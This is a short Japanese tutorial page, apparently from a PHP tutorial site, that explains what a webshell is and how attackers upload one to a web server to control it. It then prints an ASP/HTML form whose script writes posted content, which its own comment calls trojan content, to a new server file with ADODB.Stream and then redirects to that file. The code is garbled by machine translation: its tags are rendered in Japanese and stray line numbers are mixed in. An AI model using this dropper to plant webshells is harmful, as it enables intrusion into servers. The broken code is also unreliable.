ホームページ >バックエンド開発 >PHPチュートリアル >Webshell の実装と隠蔽の研究
1. webshell とは
webshell は、名前が示すように、web は Web サーバーを指し、シェルはスクリプト言語で書かれたスクリプト プログラムです。Webshell は、Web 用の管理ツールです。 Web を制御できる サーバーを操作する権限。Webadmin とも呼ばれます。 Webshell は通常、Web サイト管理者が Web サイト管理やサーバー管理などに使用します。ただし、WebShell は比較的強力であるため、ファイルのアップロードとダウンロード、データベースの表示、さらにはサーバー上で一部のシステム関連コマンド (ユーザーの作成など) を呼び出すこともできます。 、ファイルの変更や削除など)、ハッカーは通常、いくつかのアップロード方法を使用して、作成した Web シェルを Web サーバー ページのディレクトリにアップロードし、ページ アクセスを通じて侵入するか、挿入してローカル コンピューターに接続します。一部の関連ツールは、サーバー上で直接侵入操作を実行します。
Default
<入力タイプ = 送信値 = 送信 9
10
12 13 14 15 16 17 18 < フォーム action = http ://host path/TEXT.asp method=post> < textarea name= | value cols = 120 行 =10幅=45> set lP=server.createObject( "Adodb.Stream ")//ストリーム オブジェクトを作成しますlP.Open //OpenLP.タイプ =2 //テキストモードの場合 lP.CharSet="gb2312"//フォント標準 lP。 テキストを書く リクエスト( "新しい値") lP.SaveToFile server.mappath("newmm.asp"),2//ファイルを上書きして、トロイの木馬のコンテンツを newmm.asp に書き込みます。2 は上書きされるメソッドです lP. Close//オブジェクトを閉じる lP=何も//オブジェクトを解放する response.redirect"newmm.asp"// newmm.asp /テキストエリア> < name=newvalue cols=120rows=10width=45> ) < textarea>< >< > ;< >< タイプ=送信値=送信> |